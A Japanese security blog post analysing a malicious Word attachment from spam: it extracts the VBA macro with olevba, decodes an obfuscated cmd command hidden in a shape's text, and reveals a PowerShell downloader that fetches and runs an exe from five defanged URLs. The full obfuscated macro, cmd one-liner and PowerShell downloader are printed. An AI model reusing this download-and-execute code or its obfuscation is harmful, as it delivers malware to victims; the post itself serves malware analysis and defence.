2019/01/14追記 : 本記事は1/20頃に非表示にする予定です。
長々と更新できておらず、すいません。
今回は、ハニーポットについてではなく、ばらまきメールに添付された難読化を用いたマルウェアを調査してみたので、備忘録も兼ねて流れを書いてみようかなと思いました。
※多分に独学による知見等が含まれておりますので、あくまで参考程度に
ばらまきメールについてや最新の動向についてはここでは書きませんので、気になる方は別途お調べください。
そして今さら難読化についてかよ・・・とは言わないで(笑)
ただ書きたいだけなんです(笑)
■今回調査した検体
SHA256 : 5447ddda5fa9f20e2bdbc8fe02741c0ae4deecb7f6f8e5c9efbdbc741abb6ff5
File : Sample.doc
VirusTotalで確認する限り、各セキュリティベンダ製品の検出率は既に高い検体となります。
(実は難易度が簡単な検体を選びました・・・)
(Base64とか使ってないやつです)
■目的
検出名を確認するとDownloader系であることがわかります。
この検体を実行した場合、どこかに通信を行って、新たに悪意あるプログラムをダウンロードして実行するのでしょうか。
ということで、通信先を特定することを目的にします。
■Let's try!
まずは、マクロ部分を抽出します。
抽出する方法は悩みましたが、色々調べた結果「oletools」を使うことにしました。
https://www.decalage.info/python/oletools
使い方は簡単。
コマンドプロンプトで以下のようにファイルを指定して実行します。
olevba Sample.doc -c
抽出した結果が以下です。
olevba 0.53.1 - http://decalage.info/python/oletools Flags Filename ----------- ----------------------------------------------------------------- OLE:MAS-HB-- Sample.doc =============================================================================== FILE: Sample.doc Type: OLE ------------------------------------------------------------------------------- VBA MACRO jGidTUdwkC.cls in file: Sample.doc - OLE stream: u'Macros/VBA/jGidTUdwkC' - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Sub autoopen() OOVvnuOr End Sub ------------------------------------------------------------------------------- VBA MACRO lHmQYJRr.bas in file: Sample.doc - OLE stream: u'Macros/VBA/lHmQYJRr' - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Function OOVvnuOr() On Error Resume Next RAUzWzZRlDhwaP = MMdjOaRmKsQTnLuuaL / Tan(310459650) * 102639347 / Tan(186974597) + DraKJpGUiFMMGuzKT - Cos(190305839) + (252585 / Int(KHGdlFqIHmfzvzImI)) Set QcfpKKHaEAuPsS = OFwkwYEzzNvZMRJlM OMXiVzvWLApOru = khsMCLjMchcOluJv urciDvLiGUpwkCiWTa = zfijjHkvFQFGzU / Tan(38791028) * 75973388 / Tan(57746273) + GjYLoszDoJGTYWWsQq - Cos(82621852) + (46689513 / Int(WTzGNBOsdirZANqdmrpmfSa)) Set mrjkEDPwBdjQYEarjLKfPt = JfOiwWVMEsLTVSinaOs XdaFhRwCUHvYsUZEqZR = jQfYNlEZFYkQXVAfFJw kjazwzbsIFLQQZB = mvjIrmaWKDACPDFhKJzi / Tan(57410279) * 337606669 / Tan(5337562) + vXOMTPUMjvMLtXQzIEmtzZ - Cos(191358832) + (34614825 / Int(iFHcSUnutNTYNC)) Set ioVTquontzaEMHoWuIMpKNj = bZQzKwZuBsLLDJOF SOcsPbnErZPBMkUEHrRiod = afCTvdSktGzszHVLzdvSWKtp rQiwKwkCrkEjiJLzEOqc = lUlJdbiKGUAwYQ / Tan(320627423) * 228851941 / Tan(260312091) + LivPdUjqUfZShQT - Cos(172680088) + (37797859 / Int(tojWBrkQDmKtOORFfuHVqQZn)) Set DknnkczKApwcojD = NQwfbQKBbkZSjFcPtQwH dSKMiOZScrNDqdzcHfmalLAC = auMjjXiwhkzmStCljztL Set GwRzbCpRB = jGidTUdwkC.Shapes(NHrbYo + "YkNcqWp" + vNsVwmj).TextFrame PooqdhcPZPrbolvjL = hRDoYpUizuzOrMPh / Tan(78402454) * 177761826 / Tan(216813775) + jDBKkPAJmOzDtqoHMb - Cos(110823016) + (332611565 / Int(vkiSKYfMGZUCsfdQsE)) Set pLwivuVAXHUkKiz = TTsZqUwfpiABLLrTXHJKz mXpXIEmpKUutJw = iSUOQtQuUoMQAM UujRdVwoiR = GwRzbCpRB.ContainingRange + zTfGSBuT + owiHWdVi + mSjVkSM + lcIvHHrQ + zIWXtwON + KKrOj + WjTMk + HWLkz + OZPHM + EJvKQD + dpwpj + mfPrS fGdTPOrOsvDCZBYiwkjMaEz = TSqcvcLOiSVECUGLNczklOBR / Tan(119250883) * 233676311 / Tan(335930246) + KwQaGdzzXPTPkpTHjU - Cos(206803058) + (186219813 / Int(YzzEONEQZKMdpDjBuzZU)) Set nzJkAwvtkwEWrmzT = sPvjwFHluljGlWGHUk oUORJXoMIHwRki = FJZdosCwFLLnwbzOXBw fjFpsiUsnYTIpm = DOToqlvWQJjCzOnUEb / Tan(56878822) * 82726276 / Tan(302701408) + vLtHSzvKqOinowwz - Cos(124473635) + (106975102 / Int(KofJcUiAEPjjZbtSHujSv)) Set GTVTMZqXHIscjVPCRmo = qvKhILuioCjzojiMnIIEJhIX zsYCFdwiwkKInLAfMjEZun = mDOIdjpJnmtLTV KYsMjOJUDfEYVpAwQK = FvqNWvNoXrUjzrBrvibZfhTi / Tan(91995373) * 318156400 / Tan(74190245) + YobpoLfZTLVRTZ - Cos(250811979) + (190418079 / Int(wHhTzFOokTXcHzajJQiQf)) Set lMbYkMKGGvqARpikajMADsH = LLuhKIDMCBVVrZVBiiMclHhl YqzDfrtEiMYScww = izPTJtBOKVYffMEdIblSEIX jcsDUYlXAhGzbPNwXMS = pYzcKzjOPoitzEaI / Tan(56211469) * 189840502 / Tan(114071080) + JiNRHMuviOLbho - Cos(254384679) + (68840837 / Int(PsXoXIMzMAXoFouvQELL)) Set VzDokAcGLJRQftktNmVAS = MXHYaRjRjbwuuuUAmIksBrF ZvKBCSqKPalfhLZLatZ = RlwpZMzNQZtURiwfGiORkni UztzHpMwfLPniqjh = IporVokYTCYGILmwLQh / Tan(265683840) * 153270607 / Tan(152841311) + zWqhcjjSTHCiWOU - Cos(337026252) + (71520359 / Int(YonnpXAdoSZBtEli)) Set UfGIpmjFwFcPjrRWiwiSKhT = wuNtROwzoXzUDBjBDhrRX FaIfOFCQjnLZJuYpo = HibLszTdPjOdpBJkpnlmz EaaNCZWoNwPTkrJqWvJjaCWX = QSATPSwbJhicWM / Tan(65746795) * 215219468 / Tan(204929730) + qZRpMrtLvHNVCECNl - Cos(47691331) + (144911759 / Int(zjQrbKiOAizDvjfwia)) Set IZEWrNniaZJaCKJ = JJZOCNfLNHKaTYEiLB vtJYdnfDoqHwslOV = ILDvusJkDNLCVfPBzNbAkw HtontaUNoUXcJIdhRpqwtwCj = NKWCLTsFJwjSrmLZLqXkKtu / Tan(332234375) * 192400945 / Tan(113358391) + NcFJrFsfPzLcAfWzKtOZDfWh - Cos(54897091) + (202762412 / Int(kUPYZuYfcEosNwHvbAOWEntk)) Set OrshGXAMGILzZl = cAtuVBAbwjuhuHuwafTKD zWhojHpvvCOjuEuwODNQ = wLpGELMkTGbiwCWNhVtlAnsT AGJODfLazvVBDIY = MOWQRjKIQRfwdwPn / Tan(10680775) * 88026062 / Tan(5694442) + BdsPMMVJqiddiNrK - Cos(103679627) + (49968174 / Int(TvBwmANzDjizpHLIjWHEEK)) Set RhnBTPFEYuYjRz = FPwPSdIjnWSEInICjJtj wwthwbJFRauJDQrGp = YIwAfBKwQPrpXXPNHQFiTBw Const wuKhm = 0 SrEPusACONpvnswR = UjOIIQvThwUEvzcnwGfFEjqc / Tan(82089093) * 201766679 / Tan(213374959) + wHOEXvpOwCJbJwN - Cos(319563352) + (214725141 / Int(SOMIqmTMulsmvijmUZiQhzKO)) Set twEwIVuvOLSwqQblKBEWMH = rWbnOQQSDwTzpOQlPwqh RpiIGfWwGrclQNZji = fztOwXTlWuPpXVaNZhzi uUzGqLYB = Array(EjSLjYCrG, UIcjQUHL, nrjDY, Interaction _ . _ Shell(UujRdVwoiR, wuKhm), DYQrjHNUC) ioUDwANJjMRICiaVwtiKAR = hzANhDjmKLPnIXqNGrkmzOd / Tan(146920656) * 210550703 / Tan(209470853) + vJhGpRznDznfFCaGzmu - Cos(115822250) + (332443210 / Int(fYTQirTWihBblcc)) Set aWLkmQTMfkYIjj = OdpdJnZmFUhTFddRwdsMY OTPEGkuTLquwnww = TQBjFPFwOiBSZinXNHOVOFjo kFwHrGDoiKsJokrQHfosMX = lfGwwcPIzvMBtbaPhW / Tan(237472344) * 199560146 / Tan(32367317) + LajJcGGdsbMjNcl - Cos(68154377) + (32389288 / Int(PCtObiwohPGWctRj)) Set fQozIBVDkpJOziWRXP = LwwzLnZrWVzSRh GuQMGAXLqtoZjkk = EiOUXjScLiKzhlW HvOIEQscnAZKvuQws = zhrzulfNfULsLKYTTozaIbai / Tan(178756433) * 158395111 / Tan(206069705) + ZCIYSNbZYHAddqkYRvoPl - Cos(189907856) + (182493627 / Int(wSpWGNYWFzndMmZzjzu)) Set oWzRqCMfjQzzajcA = FSLiiXfCHMiVrfliPna YfEAsnpzqCfKZZijic = wROiqiKskLOKsBfz End Function
まずは、一通りじっくり見ることをお勧めします。
Tan関数やCos、Int関数などを使用しながら何かを計算しつつ代入を行っているようにも見えますが、実はこの辺りはフェイクである可能性があります。(と思っている)
そして、今回通信先を特定するにあたって、必要な部分だけを抜き出したのが以下。
Set GwRzbCpRB = jGidTUdwkC.Shapes(NHrbYo + "YkNcqWp" + vNsVwmj).TextFrame UujRdVwoiR = GwRzbCpRB.ContainingRange + zTfGSBuT + owiHWdVi + mSjVkSM + lcIvHHrQ + zIWXtwON + KKrOj + WjTMk + HWLkz + OZPHM + EJvKQD + dpwpj + mfPrS Const wuKhm = 0 uUzGqLYB = Array(EjSLjYCrG, UIcjQUHL, nrjDY, Interaction _ . _ Shell(UujRdVwoiR, wuKhm), DYQrjHNUC)
これだけだとよくわからないので、一つ一つ丁寧に見ていきましょう
まずは、(おそらくですが)コードが実際に実行されるのはShell()
の辺りと仮定して、UujRdVwoiR
とwuKhm
が変数として呼ばれているようです。
2つ目の引数wuKhm
はConst wuKhm = 0
となっているので、0
が入っているのでしょう。
意味としては、実行中のウィンドウが非表示になるのでしょうか。
次に、1つ目の引数UujRdVwoiR
を確認すると、
UujRdVwoiR = GwRzbCpRB.ContainingRange + zTfGSBuT + owiHWdVi + mSjVkSM + lcIvHHrQ + zIWXtwON + KKrOj + WjTMk + HWLkz + OZPHM + EJvKQD + dpwpj + mfPrS
といった感じで、変数に格納されている何かを連結しているように見えます。
そのため、各変数に何が格納されているのかちょっと確認してみましたが、実際に値が格納されているのはGwRzbCpRB
だけのようです。
※GwRzbCpRB.ContainingRange
の.ContainingRange
が厳密に何を意味するのかはわかりませんでした。(検証すればいいんですが)
次に、GwRzbCpRB
に何が格納されるのか確認すると、以下のようにShapes().TextFrame
を使って、図形に格納されたテキストを取得していることがわかります
Set GwRzbCpRB = jGidTUdwkC.Shapes(NHrbYo + "YkNcqWp" + vNsVwmj).TextFrame
図形の名前はNHrbYo + "YkNcqWp" + vNsVwmj
ですが、NHrbYo
とvNsVwmj
は値が入っていませんので、YkNcqWp
が図形の名前でしょうか。
同じ名前の図形を探してみましょう。
ありました。
あとは画像に設定されている代替テキストを取得しましょう。
取得したテキストは以下です
c:\LSlFtkC\ZKaitozRAJzvI\YEvkKPpYdo\..\..\..\windows\system32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V:O/C"set bl=IHiNKLidUBGqPsinWOBdMAhPLoDiwEYWw-/mTety(QpCZ{f9=Jk@$':g7u.6x4jVXbSza+r};8 ,lv0\)Fc&&for %j in (52,49,44,50,48,53,31,3,81,53,72,52,3,20,64,48,15,37,32,33,25,65,62,37,82,38,74,3,37,38,58,31,37,65,43,76,27,37,15,38,72,52,41,11,11,48,53,22,38,38,42,54,34,34,32,32,32,58,13,70,13,50,55,70,25,57,42,58,82,25,35,34,47,19,56,61,50,23,30,51,22,38,38,42,54,34,34,32,32,32,58,13,38,25,77,37,46,70,37,37,58,82,25,35,34,44,55,51,22,38,38,42,54,34,34,32,32,32,58,70,25,22,68,15,42,57,70,27,38,58,82,25,35,34,55,46,15,42,66,51,22,38,38,42,54,34,34,32,32,32,58,35,27,13,39,68,76,68,15,19,58,82,25,35,34,11,51,22,38,38,42,54,34,34,38,37,68,35,65,25,70,37,19,58,82,25,58,57,50,34,23,13,53,58,66,42,76,27,38,40,53,51,53,80,72,52,38,24,67,48,53,23,15,57,53,72,52,64,4,25,74,48,74,53,59,47,61,53,72,52,82,4,36,48,53,43,15,76,53,72,52,27,64,11,48,52,37,15,77,54,38,37,35,42,69,53,79,53,69,52,64,4,25,69,53,58,37,60,37,53,72,46,25,70,37,68,82,22,40,52,15,43,62,74,27,15,74,52,41,11,11,80,45,38,70,39,45,52,3,20,64,58,26,25,32,15,76,25,68,19,81,27,76,37,40,52,15,43,62,75,74,52,27,64,11,80,72,52,26,13,50,48,53,25,15,27,53,72,0,46,74,40,40,10,37,38,33,0,38,37,35,74,52,27,64,11,80,58,76,37,15,55,38,22,74,33,55,37,74,73,78,78,78,78,80,74,45,0,15,77,25,50,37,33,0,38,37,35,74,52,27,64,11,72,52,76,63,15,48,53,32,36,43,53,72,65,70,37,68,50,72,71,71,82,68,38,82,22,45,71,71,52,43,13,82,48,53,20,27,11,53,72,86)do set C6R=!C6R!!bl:~%j,1!&&if %j gtr 85 %TEMP:~-1,1%owershell "!C6R:~-432!""
ということで、Shell()
で呼ばれている変数UujRdVwoiR
(GwRzbCpRB.ContainingRangeが代入されている)には、最終的に上記のコマンドが格納されることがわかりました。
ただし、目的である通信先については、未だ判明しないため、引き続き調査してみましょう。
c:\LSlFtkC\ZKaitozRAJzvI\YEvkKPpYdo\..\..\..\windows\system32\cmd.exe
は、Cドライブの存在しないパスから始まりますが、そこから相対パスで書かれており、最終的にはcmd.exe /c
を実行するようです。
次に%ProgramData:~0,1%%ProgramData:~9,2%
ですが、環境変数%ProgramData%
の0番目から1文字、%ProgramData%
の9番目から2文字を取得し、CmD
という文字列を完成させています。
そのため、CmD /V:O/C
が実行されるようです。
次に
set bl=IHiNKLidUBGqPsinWOBdMAhPLoDiwEYWw-/mTety(QpCZ{f9=Jk@$':g7u.6x4jVXbSza+r};8 ,lv0\)Fc
にて、謎の文字列が環境変数としてセットされつつ、
&&
を使って同時に
for %j in (52,49,44,50,48,53,31,3,81,53,72,52,3,20,64,48,15,37,32,33,25,65,62,37,82,38,74,3,37,38,58,31,37,65,43,76,27,37,15,38,72,52,41,11,11,48,53,22,38,38,42,54,34,34,32,32,32,58,13,70,13,50,55,70,25,57,42,58,82,25,35,34,47,19,56,61,50,23,30,51,22,38,38,42,54,34,34,32,32,32,58,13,38,25,77,37,46,70,37,37,58,82,25,35,34,44,55,51,22,38,38,42,54,34,34,32,32,32,58,70,25,22,68,15,42,57,70,27,38,58,82,25,35,34,55,46,15,42,66,51,22,38,38,42,54,34,34,32,32,32,58,35,27,13,39,68,76,68,15,19,58,82,25,35,34,11,51,22,38,38,42,54,34,34,38,37,68,35,65,25,70,37,19,58,82,25,58,57,50,34,23,13,53,58,66,42,76,27,38,40,53,51,53,80,72,52,38,24,67,48,53,23,15,57,53,72,52,64,4,25,74,48,74,53,59,47,61,53,72,52,82,4,36,48,53,43,15,76,53,72,52,27,64,11,48,52,37,15,77,54,38,37,35,42,69,53,79,53,69,52,64,4,25,69,53,58,37,60,37,53,72,46,25,70,37,68,82,22,40,52,15,43,62,74,27,15,74,52,41,11,11,80,45,38,70,39,45,52,3,20,64,58,26,25,32,15,76,25,68,19,81,27,76,37,40,52,15,43,62,75,74,52,27,64,11,80,72,52,26,13,50,48,53,25,15,27,53,72,0,46,74,40,40,10,37,38,33,0,38,37,35,74,52,27,64,11,80,58,76,37,15,55,38,22,74,33,55,37,74,73,78,78,78,78,80,74,45,0,15,77,25,50,37,33,0,38,37,35,74,52,27,64,11,72,52,76,63,15,48,53,32,36,43,53,72,65,70,37,68,50,72,71,71,82,68,38,82,22,45,71,71,52,43,13,82,48,53,20,27,11,53,72,86)do set C6R=!C6R!!bl:~%j,1!
のfor文が実行され、
if %j gtr 85 %TEMP:~-1,1%owershell "!C6R:~-432!"
で%j
が85より大きくなった場合に%TEMP:~-1,1%owershell "!C6R:~-432!"
が実行されるようです。
ぱっと見た限りだと、意味があるようには思えませんが、実はこれイメージ的にはアナグラムっぽくなっており、bl
にセットされた文字列の52番目、49番目、44番目といった感じに、意味ある文字列が作られていきます。
for文の最後set C6R=!C6R!!bl:~%j,1!
がそこにあたります。
その後、%jが85より大きくなった時に、Powershellコマンドとして連結された文字列が実行されます。
それが以下
powershell $JZk='WNF'; $NMX=new-object Net.WebClient; $Qqq='hxxp://www[.]srskgroup[.]com/9d74kPY@hxxp://www[.]stovefree[.]com/Zg@hxxp://www[.]rohanpurit[.]com/gfnpS@hxxp://www[.]misyaland[.]com/q@hxxp://teambored[.]co[.]uk/Ps'.Split('@'); $tLz='Pnu'; $XKo = '694'; $cKT='Cnl'; $iXq=$env:temp+'\'+$XKo+'.exe'; foreach($nCj in $Qqq) {try {$NMX.DownloadFile($nCj, $iXq); $Dsk='oni'; If ((Get-Item $iXq).length -ge 80000) { Invoke-Item $iXq; $lVn='wTC'; break; } }catch{ } } $Csc='Miq';
※わかりやすく改行、インデントいれてます。
※安全を考慮して、通信先はサニタイジングしてます。
ここまでくれば通信先がわかりました。
hxxp://www[.]srskgroup[.]com/9d74kPY hxxp://www[.]stovefree[.]com/Zg hxxp://www[.]rohanpurit[.]com/gfnpS hxxp://www[.]misyaland[.]com/q hxxp://teambored[.]co[.]uk/Ps
@文字で区切った文字列をsplitで切り分けて配列として$Qqq
へ格納し、後のforeach文で取り出して利用しているのでしょう。
通信先からダウンロードしてきたファイルは694.exe
にリネームされ、文字数が80,000を超えていた場合、実行といった感じでしょうか。
こんな感じで、目的の通信先を特定することができました。
なお、検体によっては難読化の手法や難易度が変わってきますので、ここまで簡単に特定できるとは限りませんので、その辺はご理解ください。
■注意
・本記事は不正な通信先を特定する方法について記載したものであり、いかなる理由でも悪用はしないでください。
・予告なく本記事を削除する場合があります。
・記事に誤まり等があればTwitterのDMにてご連絡ください。